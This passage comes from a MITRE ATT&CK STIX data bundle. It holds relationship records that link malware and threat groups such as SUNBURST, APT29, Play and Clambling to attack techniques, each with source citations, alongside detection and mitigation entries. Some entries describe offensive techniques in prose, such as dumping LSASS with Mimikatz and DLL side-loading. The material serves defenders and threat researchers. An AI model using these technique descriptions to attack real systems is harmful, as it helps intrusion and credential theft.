2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f01cbea5-8528-45e8-afdf-d1f382980d8a","type":"relationship","created":"2021-01-06T16:56:56.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."},{"source_name":"FireEye SUNBURST Additional Details Dec 2020","url":"https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html","description":"Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."},{"source_name":"Symantec Sunburst Sending Data January 2021","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-sunburst-sending-data","description":"Symantec Threat Hunter Team. (2021, January 22). SolarWinds: How Sunburst Sends Data Back to the Attackers. Retrieved January 22, 2021."}],"modified":"2021-01-22T19:49:35.362Z","description":"[SUNBURST](https://attack.mitre.org/software/S0559) C2 data attempted to appear as benign XML related to .NET assemblies or as a faux JSON blob.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: FireEye SUNBURST Additional Details Dec 2020)(Citation: Symantec Sunburst Sending Data January 2021)","relationship_type":"uses","source_ref":"malware--a8839c95-029f-44cf-8f3d-a3cf2039e927","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0229730-6d8a-4ec7-bd2d-07b5f429aed3","created":"2022-07-29T19:34:52.364Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-18T23:44:02.395Z","description":"Monitor executed commands and arguments that may delete or alter generated artifacts associated with persistence on a host system.","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f023577a-e87f-4d0e-beef-575293a86153","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Periscope March 2018","description":"FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}],"modified":"2020-03-16T15:39:47.848Z","description":"[Derusbi](https://attack.mitre.org/software/S0021) is capable of enumerating Registry keys and values.(Citation: FireEye Periscope March 2018)","relationship_type":"uses","source_ref":"malware--94379dec-5c87-49db-b36e-66abc0b81344","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f02f0a58-a76b-4966-8717-8a9b40b07e81","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT10 April 2017","description":"FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"}],"modified":"2020-03-21T00:24:53.628Z","description":"[SNUGRIDE](https://attack.mitre.org/software/S0159) encrypts C2 traffic using AES with a static key.(Citation: FireEye APT10 April 2017)","relationship_type":"uses","source_ref":"malware--3240cbe4-c550-443b-aa76-cc2a7058b870","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f02f49f5-35d9-4c9c-8943-9fdf34f02a38","created":"2023-06-26T19:41:57.251Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T16:19:28.150Z","description":"[Uroburos](https://attack.mitre.org/software/S0022) can run a `Clear Agents Track` command on an infected machine to delete [Uroburos](https://attack.mitre.org/software/S0022)-related logs.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f02fafab-e905-48a4-953d-6238f740cc77","created":"2023-10-04T18:06:27.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MoustachedBouncer ESET August 2023","description":"Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.","url":"https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-04T18:07:34.751Z","description":"[SharpDisco](https://attack.mitre.org/software/S1089) has been used to download a Python interpreter to `C:\\Users\\Public\\WinTN\\WinTN.exe` as well as other plugins from external sources.(Citation: MoustachedBouncer ESET August 2023)","relationship_type":"uses","source_ref":"malware--1fefb062-feda-484a-8f10-0cebf65e20e3","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f03e2a94-27c6-470f-9f87-7cac3c6845af","type":"relationship","created":"2020-10-19T16:48:08.498Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-10-21T01:45:59.133Z","description":"Block Traffic\tUpon identifying a compromised network device being used to bridge a network boundary, block the malicious packets using an unaffected network device in path, such as a firewall or a router that has not been compromised. Continue to monitor for additional activity and to ensure that the blocks are indeed effective.","relationship_type":"mitigates","source_ref":"course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d","target_ref":"attack-pattern--4ffc1794-ec3b-45be-9e52-42dbcb2af2de","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f044fed9-e7d4-4cb2-938b-d89fd8b0c06c","created":"2021-11-17T16:13:32.104Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talent-Jump Clambling February 2020","url":"https://www.talent-jump.com/article/2020/02/17/CLAMBLING-A-New-Backdoor-Base-On-Dropbox-en/","description":"Chen, T. and Chen, Z. (2020, February 17). CLAMBLING - A New Backdoor Base On Dropbox. Retrieved November 12, 2021."},{"source_name":"Trend Micro DRBControl February 2020","url":"https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf","description":"Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Clambling](https://attack.mitre.org/software/S0660) can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution.(Citation: Trend Micro DRBControl February 2020)(Citation: Talent-Jump Clambling February 2020)","modified":"2022-04-11T14:55:49.695Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--6e95feb1-78ee-48d3-b421-4d76663b5c49","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0488c32-f937-4eb9-8068-092795872582","type":"relationship","created":"2020-10-20T17:59:21.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Integrity","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#30","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Image File Integrity. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Change Control","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#31","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Change Control. Retrieved October 21, 2020."}],"modified":"2020-10-22T16:35:54.323Z","description":"Periodically check the integrity of the running configuration and system image to ensure they have not been modified. (Citation: Cisco IOS Software Integrity Assurance - Image File Verification) (Citation: Cisco IOS Software Integrity Assurance - Image File Integrity) (Citation: Cisco IOS Software Integrity Assurance - Change Control) ","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f04dbb1e-bf75-4eee-9222-374c704bc07b","created":"2022-06-09T14:48:40.963Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET DazzleSpy Jan 2022","url":"https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/","description":"M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MacMa](https://attack.mitre.org/software/S1016) has used TLS encryption to initialize a custom protocol for C2 communications.(Citation: ESET DazzleSpy Jan 2022)","modified":"2022-06-09T14:48:40.963Z","relationship_type":"uses","source_ref":"malware--bdee9574-7479-4073-a7dc-e86d8acd073a","target_ref":"attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f059a1ec-1945-43b7-ba0c-0d304c5b6d74","created":"2023-03-26T20:06:52.152Z","revoked":false,"external_references":[{"source_name":"FireEye SUNBURST Backdoor December 2020","description":"FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021.","url":"https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"},{"source_name":"MSTIC NOBELIUM Mar 2021","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021.","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"},{"source_name":"Cybersecurity Advisory SVR TTP May 2021","description":"NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.","url":"https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:06:52.152Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used different compromised credentials for remote access and to move laterally.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: MSTIC NOBELIUM Mar 2021)(Citation: Cybersecurity Advisory SVR TTP May 2021)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f061c68a-7a2f-4cad-af24-9dc55415f956","created":"2024-09-25T20:24:55.850Z","revoked":false,"external_references":[{"source_name":"Trend Micro Ransomware Spotlight Play July 2023","description":"Trend Micro Research. (2023, July 21). Ransomware Spotlight: Play. Retrieved September 24, 2024.","url":"https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-25T20:24:55.850Z","description":"[Play](https://attack.mitre.org/groups/G1040) has used [Mimikatz](https://attack.mitre.org/software/S0002) and the Windows Task Manager to dump LSASS process memory.(Citation: Trend Micro Ransomware Spotlight Play July 2023)","relationship_type":"uses","source_ref":"intrusion-set--ecbf507f-6786-4121-a4cc-0fd6a8d3a29d","target_ref":"attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f064cee8-323a-4bc5-8046-7325eb2401a5","type":"relationship","created":"2022-03-30T14:26:51.846Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.846Z","description":"On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules)","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MacOS Email Rules","description":"Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.","url":"https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f068a0fc-0461-4034-a0ea-b629788bc9f3","type":"relationship","created":"2021-08-24T22:12:46.725Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Kobalos Jan 2021","description":"M.Leveille, M., Sanmillan, I. (2021, January). A WILD KOBALOS APPEARS Tricksy Linux malware goes after HPCs. Retrieved August 24, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf"}],"modified":"2021-10-18T23:21:30.404Z","description":"[Kobalos](https://attack.mitre.org/software/S0641) can record the hostname and kernel version of the target machine.(Citation: ESET Kobalos Jan 2021)","relationship_type":"uses","source_ref":"malware--9abdda30-08e0-4ab1-9cf0-d447654c6de9","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f06c48f0-88de-4850-90dd-9ff4979dde95","created":"2022-10-17T21:58:20.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T14:27:42.484Z","description":"Review authentication logs to ensure that mechanisms such as enforcement of MFA are functioning as intended.\n\nPeriodically review the hybrid identity solution in use for any discrepancies. For example, review all Pass Through Authentication (PTA) agents in the Azure Management Portal to identify any unwanted or unapproved ones.(Citation: Mandiant Azure AD Backdoors) If ADFS is in use, review DLLs and executable files in the AD FS and Global Assembly Cache directories to ensure that they are signed by Microsoft. Note that in some cases binaries may be catalog-signed, which may cause the file to appear unsigned when viewing file properties.(Citation: MagicWeb)\n\nPeriodically review for new and unknown network provider DLLs within the Registry (`HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\\\NetworkProvider\\ProviderPath`). Ensure only valid network provider DLLs are registered. The name of these can be found in the Registry key at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\NetworkProvider\\Order`, and have corresponding service subkey pointing to a DLL at `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentC ontrolSet\\Services\\\\NetworkProvider`.","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f06ee9db-1a29-412f-9584-5175eff85f28","type":"relationship","created":"2021-10-12T21:46:13.229Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RedCanary Mockingbird May 2020","url":"https://redcanary.com/blog/blue-mockingbird-cryptominer/","description":"Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}],"modified":"2021-10-12T21:46:13.229Z","description":"[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has obtained and used tools such as [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: RedCanary Mockingbird May 2020)","relationship_type":"uses","source_ref":"intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f07267d5-f532-4a52-abd6-20d5f94a2bf8","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf","description":"Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.","source_name":"Cymmetria Patchwork"}],"modified":"2021-11-02T21:07:07.546Z","description":"(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0782cdb-1b7a-4e23-acb4-dba55ad03468","type":"relationship","created":"2021-10-13T13:53:26.398Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:53:26.398Z","description":"[SideTwist](https://attack.mitre.org/software/S0610) can embed C2 responses in the source code of a fake Flickr webpage.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"malware--df4cd566-ff2f-4d08-976d-8c86e95782de","target_ref":"attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f07b76ab-6e72-4112-bc23-3b64b50131f0","type":"relationship","created":"2020-03-14T18:18:32.793Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T22:02:25.401Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--f07c1f84-a2c0-4c47-904d-ce96b36307f0","created":"2022-04-09T15:47:12.392Z","x_mitre_version":"0.1","external_references":[{"source_name":"Check Point Meteor Aug 2021","url":"https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/","description":"Check Point Research Team. (2021, August 14). Indra - Hackers Behind Recent Attacks on Iran. Retrieved February 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Meteor](https://attack.mitre.org/software/S0688) can check if a specific process is running, such as Kaspersky's `avp.exe`.(Citation: Check Point Meteor Aug 2021)","modified":"2022-04-09T15:47:12.392Z","relationship_type":"uses","source_ref":"malware--d79e7a60-5de9-448e-a074-f95d2d80f8d0","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f082a4e1-b454-4528-9470-a2799215b235","type":"relationship","created":"2019-03-11T19:24:08.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:59.580Z","description":"[Empire](https://attack.mitre.org/software/S0363) can timestomp any files or payloads placed on a target machine to help them blend in.(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f0883623-a612-4e9e-ad46-cfb0964248f0","created":"2022-09-22T18:56:13.347Z","revoked":false,"external_references":[{"source_name":"Cisco Talos Transparent Tribe Education Campaign July 2022","description":"N. Baisini. (2022, July 13). Transparent Tribe begins targeting education sector in latest campaign. Retrieved September 22, 2022.","url":"https://blog.talosintelligence.com/2022/07/transparent-tribe-targets-education.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-22T18:56:13.347Z","description":"For [C0011](https://attack.mitre.org/campaigns/C0011), [Transparent Tribe](https://attack.mitre.org/groups/G0134) established SSL certificates on the typo-squatted domains the group registered.(Citation: Cisco Talos Transparent Tribe Education Campaign July 2022)","relationship_type":"uses","source_ref":"campaign--b4e5a4a9-f3be-4631-ba8f-da6ebb067fac","target_ref":"attack-pattern--1cec9319-743b-4840-bb65-431547bce82a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f0894796-a4ed-48c4-94fc-7fc42175416d","type":"relationship","created":"2020-10-21T17:32:34.297Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:32:34.297Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) has undergone regular technical improvements in an attempt to evade detection.(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--f08b8e20-4dda-4ced-8e9d-f0a5e4ebcc52","created":"2023-03-31T17:40:24.932Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Dragos Crashoverride 2018","description":"Joe Slowik. (2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.","url":"https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-07T18:05:41.630Z","description":"During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) utilized `net use` to connect to network shares.(Citation: Dragos Crashoverride 